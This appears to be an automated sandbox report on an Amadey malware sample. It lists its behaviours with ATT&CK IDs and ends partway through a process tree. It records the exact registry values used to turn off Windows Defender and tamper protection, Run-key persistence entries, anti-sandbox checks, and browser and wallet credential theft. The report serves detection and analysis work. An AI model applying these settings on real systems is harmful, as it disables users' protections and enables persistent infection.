amadey | 3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	08bf4e72b2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	08bf4e72b2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	08bf4e72b2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	08bf4e72b2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	08bf4e72b2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	08bf4e72b2.exe

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1284 created 3524	1284	Dr.com	56

TA505
Cybercrime group active since 2015, responsible for families like Dridex and Locky.
ta505
Ta505 family
ta505

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	06d41594d9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ca0fc6777c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	38f25d7919.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	08bf4e72b2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/5340-1214-0x0000000000F30000-0x0000000001334000-memory.dmp	orcus

Blocklisted process makes network request 3 IoCs

flow	pid	Process
213	5944	powershell.exe
215	5656	powershell.exe
216	5528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe
3256	powershell.exe
5656	powershell.exe
5528	powershell.exe
1292	powershell.exe
5956	powershell.exe
5944	powershell.exe
2056	powershell.exe
2848	powershell.exe
3256	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	06d41594d9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ca0fc6777c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	38f25d7919.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	08bf4e72b2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	38f25d7919.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	08bf4e72b2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ca0fc6777c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	06d41594d9.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wL3EGdM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Executes dropped EXE 17 IoCs

pid	Process
728	skotes.exe
116	i1A5m12.exe
2648	i1A5m12.tmp
3128	rafencoder.exe
4704	skotes.exe
3616	wL3EGdM.exe
1284	Dr.com
1252	ca0fc6777c.exe
2388	06d41594d9.exe
544	38f25d7919.exe
1292	f672d1755a.exe
4136	08bf4e72b2.exe
5340	RegAsm.exe
2000	smartscreen.exe
5476	skotes.exe
2388	COMSurrogate.exe
5844	skotes.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	06d41594d9.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	08bf4e72b2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	ca0fc6777c.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine	38f25d7919.exe

Loads dropped DLL 2 IoCs

pid	Process
2648	i1A5m12.tmp
3128	rafencoder.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	08bf4e72b2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	08bf4e72b2.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\06d41594d9.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1012580001\\06d41594d9.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\38f25d7919.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1012581001\\38f25d7919.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f672d1755a.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1012582001\\f672d1755a.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\08bf4e72b2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1012583001\\08bf4e72b2.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe"	smartscreen.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe"	COMSurrogate.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
217	api.ipify.org
218	api.ipify.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000023c76-537.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
956	tasklist.exe
3820	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
728	skotes.exe
4704	skotes.exe
1252	ca0fc6777c.exe
2388	06d41594d9.exe
544	38f25d7919.exe
4136	08bf4e72b2.exe
5476	skotes.exe
5844	skotes.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
File opened for modification	C:\Windows\MovieArchives	wL3EGdM.exe
File opened for modification	C:\Windows\PackageExpression	wL3EGdM.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5980	2388	WerFault.exe	120
5988	2388	WerFault.exe	120

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	38f25d7919.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ca0fc6777c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f672d1755a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	f672d1755a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i1A5m12.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	f672d1755a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i1A5m12.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wL3EGdM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rafencoder.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	06d41594d9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dr.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	08bf4e72b2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
4936	taskkill.exe
2828	taskkill.exe
2880	taskkill.exe
2128	taskkill.exe
4468	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	firefox.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4892	schtasks.exe
3088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
728	skotes.exe
728	skotes.exe
2648	i1A5m12.tmp
2648	i1A5m12.tmp
4704	skotes.exe
4704	skotes.exe
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1252	ca0fc6777c.exe
1252	ca0fc6777c.exe
2388	06d41594d9.exe
2388	06d41594d9.exe
544	38f25d7919.exe
544	38f25d7919.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
4136	08bf4e72b2.exe
4136	08bf4e72b2.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
4136	08bf4e72b2.exe
4136	08bf4e72b2.exe
4136	08bf4e72b2.exe
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
1284	Dr.com
5340	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	tasklist.exe
Token: SeDebugPrivilege	3820	tasklist.exe
Token: SeDebugPrivilege	4936	taskkill.exe
Token: SeDebugPrivilege	2828	taskkill.exe
Token: SeDebugPrivilege	2880	taskkill.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	3408	firefox.exe
Token: SeDebugPrivilege	3408	firefox.exe
Token: SeDebugPrivilege	4136	08bf4e72b2.exe
Token: SeDebugPrivilege	5340	RegAsm.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeDebugPrivilege	5656	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2388	COMSurrogate.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
2648	i1A5m12.tmp
1284	Dr.com
1284	Dr.com
1284	Dr.com
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
1284	Dr.com
1284	Dr.com
1284	Dr.com
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe
1292	f672d1755a.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3408	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 400 wrote to memory of 728	400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe	83
PID 400 wrote to memory of 728	400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe	83
PID 400 wrote to memory of 728	400	3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe	83
PID 728 wrote to memory of 116	728	skotes.exe	85
PID 728 wrote to memory of 116	728	skotes.exe	85
PID 728 wrote to memory of 116	728	skotes.exe	85
PID 116 wrote to memory of 2648	116	i1A5m12.exe	86
PID 116 wrote to memory of 2648	116	i1A5m12.exe	86
PID 116 wrote to memory of 2648	116	i1A5m12.exe	86
PID 2648 wrote to memory of 4852	2648	i1A5m12.tmp	87
PID 2648 wrote to memory of 4852	2648	i1A5m12.tmp	87
PID 2648 wrote to memory of 4852	2648	i1A5m12.tmp	87
PID 2648 wrote to memory of 3128	2648	i1A5m12.tmp	89
PID 2648 wrote to memory of 3128	2648	i1A5m12.tmp	89
PID 2648 wrote to memory of 3128	2648	i1A5m12.tmp	89
PID 4852 wrote to memory of 4352	4852	net.exe	90
PID 4852 wrote to memory of 4352	4852	net.exe	90
PID 4852 wrote to memory of 4352	4852	net.exe	90
PID 728 wrote to memory of 3616	728	skotes.exe	94
PID 728 wrote to memory of 3616	728	skotes.exe	94
PID 728 wrote to memory of 3616	728	skotes.exe	94
PID 3616 wrote to memory of 2680	3616	wL3EGdM.exe	95
PID 3616 wrote to memory of 2680	3616	wL3EGdM.exe	95
PID 3616 wrote to memory of 2680	3616	wL3EGdM.exe	95
PID 2680 wrote to memory of 956	2680	cmd.exe	100
PID 2680 wrote to memory of 956	2680	cmd.exe	100
PID 2680 wrote to memory of 956	2680	cmd.exe	100
PID 2680 wrote to memory of 4564	2680	cmd.exe	101
PID 2680 wrote to memory of 4564	2680	cmd.exe	101
PID 2680 wrote to memory of 4564	2680	cmd.exe	101
PID 2680 wrote to memory of 3820	2680	cmd.exe	102
PID 2680 wrote to memory of 3820	2680	cmd.exe	102
PID 2680 wrote to memory of 3820	2680	cmd.exe	102
PID 2680 wrote to memory of 3408	2680	cmd.exe	103
PID 2680 wrote to memory of 3408	2680	cmd.exe	103
PID 2680 wrote to memory of 3408	2680	cmd.exe	103
PID 2680 wrote to memory of 3492	2680	cmd.exe	104
PID 2680 wrote to memory of 3492	2680	cmd.exe	104
PID 2680 wrote to memory of 3492	2680	cmd.exe	104
PID 2680 wrote to memory of 1592	2680	cmd.exe	105
PID 2680 wrote to memory of 1592	2680	cmd.exe	105
PID 2680 wrote to memory of 1592	2680	cmd.exe	105
PID 2680 wrote to memory of 1284	2680	cmd.exe	106
PID 2680 wrote to memory of 1284	2680	cmd.exe	106
PID 2680 wrote to memory of 1284	2680	cmd.exe	106
PID 2680 wrote to memory of 3976	2680	cmd.exe	107
PID 2680 wrote to memory of 3976	2680	cmd.exe	107
PID 2680 wrote to memory of 3976	2680	cmd.exe	107
PID 1284 wrote to memory of 2104	1284	Dr.com	108
PID 1284 wrote to memory of 2104	1284	Dr.com	108
PID 1284 wrote to memory of 2104	1284	Dr.com	108
PID 1284 wrote to memory of 4892	1284	Dr.com	110
PID 1284 wrote to memory of 4892	1284	Dr.com	110
PID 1284 wrote to memory of 4892	1284	Dr.com	110
PID 2104 wrote to memory of 3088	2104	cmd.exe	112
PID 2104 wrote to memory of 3088	2104	cmd.exe	112
PID 2104 wrote to memory of 3088	2104	cmd.exe	112
PID 728 wrote to memory of 1252	728	skotes.exe	115
PID 728 wrote to memory of 1252	728	skotes.exe	115
PID 728 wrote to memory of 1252	728	skotes.exe	115
PID 728 wrote to memory of 2388	728	skotes.exe	120
PID 728 wrote to memory of 2388	728	skotes.exe	120
PID 728 wrote to memory of 2388	728	skotes.exe	120
PID 728 wrote to memory of 544	728	skotes.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3524
- C:\Users\Admin\AppData\Local\Temp\3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe
  "C:\Users\Admin\AppData\Local\Temp\3d7006312157afde3e4e4393d7a6d116cb7b2b8c0d29f8c22565c6a367c2919e.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:728
  - - C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe
      "C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
      4⤵
